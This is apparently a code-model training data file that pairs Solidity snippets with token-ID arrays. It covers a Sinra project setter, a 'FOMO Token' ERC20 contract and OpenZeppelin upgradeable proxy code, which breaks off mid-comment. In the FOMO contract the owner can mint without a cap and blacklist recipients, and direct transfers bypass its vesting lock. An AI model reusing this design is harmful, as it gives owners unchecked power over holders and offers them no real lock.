63, 26, 15533, 203, 203, 3639, 3563, 3342, 18, 874, 12036, 2802, 225, 273, 15262, 2802, 31, 203, 203, 3639, 7428, 273, 3563, 3342, 18, 10676, 12, 6848, 1887, 1769, 203, 3639, 2583, 12, 7428, 480, 374, 92, 20, 11272, 203, 203, 2 ]
./full_match/1/0x8a1e51DFe708545D6ad080a0eBBDd18A1b6F860C/sources/contracts/Sinra.sol
* @notice Set project information when publishing a project @dev Only `_organizationId` organization can call this function Name Meaning @param _organizationId Organization ID @param _projectId Project ID @param _code Organization code - Project code @param _royaltyPercent Royalty percent emit event {SetProjectInfo}/
function setProjectInfo( uint256 _organizationId, uint256 _projectId, string memory _code, uint96 _royaltyPercent ) external { require(organizationAddressOf[_organizationId] == _msgSender(), "Caller is not organization"); organizationIdOf[_projectId] = _organizationId; _projectCodeOf[_projectId] = _code; royaltyPercentOf[_projectId] = _royaltyPercent; emit SetProjectInfo( _organizationId , _projectId, _royaltyPercent, _code ); }
2,979,616
[ 1, 694, 1984, 1779, 1347, 23636, 279, 1984, 1377, 5098, 1375, 67, 15336, 548, 68, 6758, 848, 745, 333, 445, 1850, 1770, 10792, 21979, 310, 565, 389, 15336, 548, 540, 12046, 1599, 565, 389, 4406, 548, 2868, 5420, 1599, 565, 389, 710, 10402, 12046, 981, 300, 5420, 981, 565, 389, 3800, 15006, 8410, 540, 534, 13372, 15006, 5551, 225, 3626, 871, 288, 694, 4109, 966, 4004, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 25323, 966, 12, 203, 3639, 2254, 5034, 389, 15336, 548, 16, 203, 3639, 2254, 5034, 389, 4406, 548, 16, 203, 3639, 533, 3778, 389, 710, 16, 203, 3639, 2254, 10525, 389, 3800, 15006, 8410, 203, 565, 262, 3903, 288, 203, 3639, 2583, 12, 15336, 1887, 951, 63, 67, 15336, 548, 65, 422, 389, 3576, 12021, 9334, 315, 11095, 353, 486, 6758, 8863, 203, 203, 3639, 22767, 951, 63, 67, 4406, 548, 65, 273, 389, 15336, 548, 31, 203, 3639, 389, 4406, 1085, 951, 63, 67, 4406, 548, 65, 273, 389, 710, 31, 203, 3639, 721, 93, 15006, 8410, 951, 63, 67, 4406, 548, 65, 273, 389, 3800, 15006, 8410, 31, 203, 203, 3639, 3626, 1000, 4109, 966, 12, 203, 5411, 389, 15336, 548, 269, 203, 5411, 389, 4406, 548, 16, 203, 5411, 389, 3800, 15006, 8410, 16, 203, 5411, 389, 710, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-03-01 */ pragma solidity >=0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping (address => uint256) private _lockedAmounts; mapping (address => uint256) private _lockedMonths; mapping (address => uint256) private _mintedAmounts; mapping (address => uint256) private _mintedTimes; mapping (address => bool) private isBlacklisted; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function mintedAmounts(address account) public view virtual returns (uint256) { return _mintedAmounts[account]; } function mintedTimes(address account) public view virtual returns (uint256) { return _mintedTimes[account]; } function unlockedAmountEveryMonth(address account) public view virtual returns (uint256) { return _mintedAmounts[account] / 10; } function lockeddaysNow(address account) public view virtual returns (uint256) { return (block.timestamp - _mintedTimes[account]) / 1 days; } function lockedMonthsAfter1YearNow(address account) public view virtual returns (uint256) { return (block.timestamp - _mintedTimes[account] - 365 days) / 30 days; } function isBlackListed(address user) public view returns(bool) { return isBlacklisted[user]; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function addBlackList(address _user) public onlyOwner{ require(!isBlacklisted[_user], "user already blacklisted"); isBlacklisted[_user] = true; } function removeFromBlacklist(address _user) public onlyOwner { require(isBlacklisted[_user], "user already whitelisted"); isBlacklisted[_user] = false; // emit events as well } function checklockedAmount(address sender) public returns(uint256 _amount) { uint256 _unlockedAmountEveryMonth = 0; uint256 _currentTime = block.timestamp; // _lockedMonths[sender] = (_currentTime - _mintedTimes[sender]) / 30 days ; if(_currentTime <= _mintedTimes[sender] + 365 days) { return _mintedAmounts[sender] * 99 / 100; } else{ _lockedMonths[sender] = (_currentTime - _mintedTimes[sender] - 365 days) / 30 days ; _unlockedAmountEveryMonth = _mintedAmounts[sender] * 99 / 1000; if (_lockedMonths[sender] >= 10 ) return 0; else return ( _mintedAmounts[sender] * 99 / 100 ) - ( _unlockedAmountEveryMonth * _lockedMonths[sender] ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { if(sender == msg.sender) _lockedAmounts[sender] = 0; else _lockedAmounts[sender] = checklockedAmount(sender); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); require(amount <= ( _balances[sender] - _lockedAmounts[sender] ), "ERC20: transfer amount exceeds unlocked balance" ); require(!isBlacklisted[recipient], "Recipient is blacklisted"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _mintedAmounts[account] += amount; _mintedTimes[account] = block.timestamp; _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } contract Fomo_Token is ERC20, ERC20Burnable { constructor() ERC20("FOMO Token", "FOMO") { // _mint(msg.sender, 6000000 * 10**18 ); } uint256 _maxTotalSupply = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; function MaxTotalSupply() private view returns (uint256) { // return 600000000 * 10**18; } function mint( uint256 amount) public onlyOwner{ require( _maxTotalSupply - totalSupply() >= amount, "ERC20: Exceeds max totalsupply" ); _mint(msg.sender, amount); } function mintTo (address To, uint256 amount) public onlyOwner{ require( _maxTotalSupply - totalSupply() >= amount, "ERC20: Exceeds max totalsupply" ); _mint(To, amount); } }
return 600000000 * 10**18;
function MaxTotalSupply() private view returns (uint256) { }
15,269,656
[ 1, 2463, 1666, 12648, 225, 13822, 28, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4238, 5269, 3088, 1283, 1435, 3238, 1476, 225, 1135, 261, 11890, 5034, 13, 288, 203, 565, 289, 203, 377, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165Upgradeable.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981Upgradeable is IERC165Upgradeable { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/UUPSUpgradeable.sol) pragma solidity ^0.8.0; import "../ERC1967/ERC1967UpgradeUpgradeable.sol"; import "./Initializable.sol"; /** * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy. * * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function 